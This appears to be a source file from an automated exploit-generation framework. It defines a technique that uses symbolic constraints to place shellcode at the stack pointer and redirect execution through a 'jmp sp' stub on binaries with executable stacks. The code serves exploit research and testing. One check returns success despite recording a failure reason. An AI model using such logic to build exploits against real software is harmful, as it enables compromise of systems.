import logging
from rex import Vulnerability
from rex.exploit import Exploit, CannotExploit, NoSuchShellcode
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.call_jmp_sp_shellcode")

class CallJmpSPShellcode(Technique):

    name = "call_jmp_sp_shellcode"

    applicable_to = ['unix']

    def check(self):
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            self.check_fail_reason("Cannot control IP.")
            return True

        if not self.crash.project.loader.main_object.execstack:
            self.check_fail_reason("Stack is not executable.")
            return False

        return True

    def apply(self, **kwargs):
        # add the constraint that our shellcode must exist at sp
        shellcode = self.crash.state.solver.BVV(self.shellcode.get_default())
        stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) // 8)
        self.crash.state.add_constraints(stack_mem == shellcode)
        if not self.crash.state.satisfiable():
            raise CannotExploit("Can't place our shellcode at SP")

        # try to write 'jmp sp' into global memory
        try:
            jmpsp_stub = self.shellcode.get_shellcode('jmpsp')
        except NoSuchShellcode as e:
            raise CannotExploit("[%s] %s" % (self.name, e))

        for jmpsp_addr, jmpsp_constraint in self._write_global_data(jmpsp_stub):
            extra_constraints = (jmpsp_constraint, self.crash.state.ip == jmpsp_addr)
            if self.crash.state.satisfiable(extra_constraints=extra_constraints):
                self.crash.state.add_constraints(jmpsp_constraint)
                self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)
                return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)

        try:
            jmpsp_addr, jmpsp_constraint = self._read_in_global_data(jmpsp_stub)
        except CannotExploit as e:
            raise CannotExploit("[%s] cannot call read, %s" % (self.name, e))
        if jmpsp_addr is None:
            raise CannotExploit("[%s] cannot write in 'jmp sp'" % self.name)

        # apply the constraint that 'jmp sp' must exist in memory
        self.crash.state.add_constraints(jmpsp_constraint)

        # add the constraint that the ip must point at the 'jmp sp' stub
        self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
